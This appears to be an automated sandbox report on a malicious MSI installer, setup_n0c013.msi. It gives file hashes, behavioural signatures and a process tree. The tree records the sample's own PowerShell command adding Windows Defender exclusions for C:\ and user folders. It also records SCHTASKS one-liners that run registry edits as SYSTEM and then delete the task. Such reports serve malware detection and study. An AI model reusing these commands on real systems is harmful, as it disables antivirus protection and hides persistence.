Analysis
- max time kernel
150s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 05:56
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
setup_n0c013.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
24 signatures
150 seconds
Behavioral task
behavioral2
Sample
setup_n0c013.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
26 signatures
150 seconds
General
- Target setup_n0c013.msi
- Size 9.6MB
- Sample260804-gm3wpasdma
- SHA256 52793c228aafdae94c86e5f71c96ff4fdaca1c95f66e44fddd9d7806f4a51dea
- MD5 84aca7001bf015a483e745bfbb4b868f
- SHA1 71c0eac260e8d794d0b9ce220b1452f637acf13f
- SHA512 8e7fe717a5d47689cd26782319c38ece5e75b4fd7d07634610a31998cd09d9b22fba37fb726fb8375ca021ac6a8a2d3c158115774da94a84f48bce948db0dec0
- SSDEEP 196608:K7SnDN9VA2YmcXizV05J+NkNMQ6b7Dds/RcvEDUQPyb5Al:7Da2ZiizsJzGbC/SEV6bCl
- TLSH T1BFA633D8689A63B8D09BC3B0C153B8AE712D7FC67E6F990677E837401D3172600B6B95
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 8 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\bUObzr = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4204 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 2252 IUdi0d.exe - Loads dropped DLL 2 IoCs
pid Process 3984 MsiExec.exe 2252 IUdi0d.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\bUObzr\\IUdi0d.exe\"" IUdi0d.exe - Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 13 3984 MsiExec.exe 14 3984 MsiExec.exe 18 3984 MsiExec.exe 19 3984 MsiExec.exe 20 3984 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\X: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 1696 cmd.exe 3404 cmd.exe 3432 cmd.exe 3844 cmd.exe 5196 cmd.exe - Drops file in System32 directory 7 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b IUdi0d.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe - Drops file in Program Files directory 3 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Nuxcyo IUdi0d.exe File created C:\Program Files (x86)\Nuxcyo\tiCbng.exe IUdi0d.exe File created C:\Program Files (x86)\Nuxcyo\XPSPLOG.dll IUdi0d.exe - Drops file in Windows directory 13 IoCs
description ioc Process File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{B0831565-6686-6851-9C74-E6F739A50195} msiexec.exe File created C:\Windows\SystemTemp\~DF62F48C9A407071D5.TMP msiexec.exe File created C:\Windows\Installer\e5990ee.msi msiexec.exe File created C:\Windows\Installer\e5990ec.msi msiexec.exe File opened for modification C:\Windows\Installer\e5990ec.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\SystemTemp\~DFAA0ADC976D760501.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI9735.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI97D2.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF24E4F4344AE7D1D4.TMP msiexec.exe File created C:\Windows\SystemTemp\~DFEFCA7DA300C502E1.TMP msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 3376 msiexec.exe - Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4128 cmd.exe 1008 cmd.exe 2152 cmd.exe 1060 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000ad3b1fc6af0fc0350000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801ad3b1fc60000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101ad3b1fc6000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3ad3b1fc600000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6ad3b1fc600000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\PackageCode = "9339C0BE5AC9976449843C866665F2B9" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Version = "84017285" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Media\1 = ";" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5651380B68661586C9476E7F935A1059 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\ProductName = "UNITAT Licensing Dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\AuthorizedLUAApp = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DF0DC009059FB39AE56CA70DA425EB38 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DF0DC009059FB39AE56CA70DA425EB38\5651380B68661586C9476E7F935A1059 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5651380B68661586C9476E7F935A1059\UuueatYAD msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\InstanceType = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\PackageName = "setup_n0c013.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Media msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4612 schtasks.exe 3656 schtasks.exe 5928 schtasks.exe 5572 schtasks.exe 6132 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1832 msiexec.exe 1832 msiexec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 3984 MsiExec.exe 2252 IUdi0d.exe 2252 IUdi0d.exe 2252 IUdi0d.exe 2252 IUdi0d.exe 2252 IUdi0d.exe 2252 IUdi0d.exe 2252 IUdi0d.exe 2252 IUdi0d.exe 2252 IUdi0d.exe 2252 IUdi0d.exe 2252 IUdi0d.exe 2252 IUdi0d.exe 2252 IUdi0d.exe 2252 IUdi0d.exe 2252 IUdi0d.exe 2252 IUdi0d.exe 2252 IUdi0d.exe 2252 IUdi0d.exe 2252 IUdi0d.exe 2252 IUdi0d.exe 2252 IUdi0d.exe 2252 IUdi0d.exe 2252 IUdi0d.exe 2252 IUdi0d.exe 2252 IUdi0d.exe 2252 IUdi0d.exe - Suspicious behavior: LoadsDriver 6 IoCs
pid Process 820 Process not Found 820 Process not Found 820 Process not Found 820 Process not Found 820 Process not Found 820 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 3376 msiexec.exe Token: SeIncreaseQuotaPrivilege 3376 msiexec.exe Token: SeSecurityPrivilege 1832 msiexec.exe Token: SeCreateTokenPrivilege 3376 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3376 msiexec.exe Token: SeLockMemoryPrivilege 3376 msiexec.exe Token: SeIncreaseQuotaPrivilege 3376 msiexec.exe Token: SeMachineAccountPrivilege 3376 msiexec.exe Token: SeTcbPrivilege 3376 msiexec.exe Token: SeSecurityPrivilege 3376 msiexec.exe Token: SeTakeOwnershipPrivilege 3376 msiexec.exe Token: SeLoadDriverPrivilege 3376 msiexec.exe Token: SeSystemProfilePrivilege 3376 msiexec.exe Token: SeSystemtimePrivilege 3376 msiexec.exe Token: SeProfSingleProcessPrivilege 3376 msiexec.exe Token: SeIncBasePriorityPrivilege 3376 msiexec.exe Token: SeCreatePagefilePrivilege 3376 msiexec.exe Token: SeCreatePermanentPrivilege 3376 msiexec.exe Token: SeBackupPrivilege 3376 msiexec.exe Token: SeRestorePrivilege 3376 msiexec.exe Token: SeShutdownPrivilege 3376 msiexec.exe Token: SeDebugPrivilege 3376 msiexec.exe Token: SeAuditPrivilege 3376 msiexec.exe Token: SeSystemEnvironmentPrivilege 3376 msiexec.exe Token: SeChangeNotifyPrivilege 3376 msiexec.exe Token: SeRemoteShutdownPrivilege 3376 msiexec.exe Token: SeUndockPrivilege 3376 msiexec.exe Token: SeSyncAgentPrivilege 3376 msiexec.exe Token: SeEnableDelegationPrivilege 3376 msiexec.exe Token: SeManageVolumePrivilege 3376 msiexec.exe Token: SeImpersonatePrivilege 3376 msiexec.exe Token: SeCreateGlobalPrivilege 3376 msiexec.exe Token: SeBackupPrivilege 1824 vssvc.exe Token: SeRestorePrivilege 1824 vssvc.exe Token: SeAuditPrivilege 1824 vssvc.exe Token: SeBackupPrivilege 1832 msiexec.exe Token: SeRestorePrivilege 1832 msiexec.exe Token: SeRestorePrivilege 1832 msiexec.exe Token: SeTakeOwnershipPrivilege 1832 msiexec.exe Token: SeRestorePrivilege 1832 msiexec.exe Token: SeTakeOwnershipPrivilege 1832 msiexec.exe Token: SeRestorePrivilege 1832 msiexec.exe Token: SeTakeOwnershipPrivilege 1832 msiexec.exe Token: SeBackupPrivilege 1880 srtasks.exe Token: SeRestorePrivilege 1880 srtasks.exe Token: SeSecurityPrivilege 1880 srtasks.exe Token: SeTakeOwnershipPrivilege 1880 srtasks.exe Token: SeBackupPrivilege 1880 srtasks.exe Token: SeRestorePrivilege 1880 srtasks.exe Token: SeSecurityPrivilege 1880 srtasks.exe Token: SeTakeOwnershipPrivilege 1880 srtasks.exe Token: SeRestorePrivilege 1832 msiexec.exe Token: SeTakeOwnershipPrivilege 1832 msiexec.exe Token: SeRestorePrivilege 1832 msiexec.exe Token: SeTakeOwnershipPrivilege 1832 msiexec.exe Token: SeRestorePrivilege 1832 msiexec.exe Token: SeTakeOwnershipPrivilege 1832 msiexec.exe Token: SeRestorePrivilege 1832 msiexec.exe Token: SeTakeOwnershipPrivilege 1832 msiexec.exe Token: SeRestorePrivilege 1832 msiexec.exe Token: SeTakeOwnershipPrivilege 1832 msiexec.exe Token: SeRestorePrivilege 1832 msiexec.exe Token: SeTakeOwnershipPrivilege 1832 msiexec.exe Token: SeRestorePrivilege 1832 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 3376 msiexec.exe 3376 msiexec.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 3376 msiexec.exe 1832 msiexec.exe 3984 MsiExec.exe - Suspicious use of WriteProcessMemory 27 IoCs
description pid Process procid_target PID 1832 wrote to memory of 1880 1832 msiexec.exe 94 PID 1832 wrote to memory of 3984 1832 msiexec.exe 96 PID 2252 wrote to memory of 4204 2252 IUdi0d.exe 99 PID 2252 wrote to memory of 3432 2252 IUdi0d.exe 101 PID 3432 wrote to memory of 4612 3432 cmd.exe 104 PID 2252 wrote to memory of 3844 2252 IUdi0d.exe 105 PID 3432 wrote to memory of 3164 3432 cmd.exe 107 PID 3844 wrote to memory of 3656 3844 cmd.exe 110 PID 3432 wrote to memory of 3360 3432 cmd.exe 112 PID 3844 wrote to memory of 2632 3844 cmd.exe 113 PID 3844 wrote to memory of 1820 3844 cmd.exe 114 PID 2252 wrote to memory of 5196 2252 IUdi0d.exe 115 PID 5196 wrote to memory of 5928 5196 cmd.exe 117 PID 5196 wrote to memory of 6020 5196 cmd.exe 118 PID 5196 wrote to memory of 2272 5196 cmd.exe 120 PID 2252 wrote to memory of 1696 2252 IUdi0d.exe 122 PID 1696 wrote to memory of 5572 1696 cmd.exe 124 PID 1696 wrote to memory of 4896 1696 cmd.exe 125 PID 1696 wrote to memory of 1144 1696 cmd.exe 127 PID 1008 wrote to memory of 1380 1008 cmd.exe 130 PID 2252 wrote to memory of 3404 2252 IUdi0d.exe 131 PID 3404 wrote to memory of 6132 3404 cmd.exe 133 PID 3404 wrote to memory of 5364 3404 cmd.exe 134 PID 3404 wrote to memory of 1348 3404 cmd.exe 136 PID 1060 wrote to memory of 1880 1060 cmd.exe 137 PID 2152 wrote to memory of 5076 2152 cmd.exe 140 PID 4128 wrote to memory of 4236 4128 cmd.exe 141 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\setup_n0c013.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:3376
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1832 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:1880
-
-
C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding FC162AFE80B467520AEC8127C2D8CD4C E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3984
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:1824
-
C:\Users\Public\bUObzr\IUdi0d.exe"C:\Users\Public\bUObzr\IUdi0d.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2252 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
PID:4204
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\bUObzr\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3432 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\bUObzr\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4612
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3164
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3360
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3844 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3656
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2632
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1820
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5196 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5928
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:6020
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2272
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1696 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5572
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4896
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1144
-
-
-
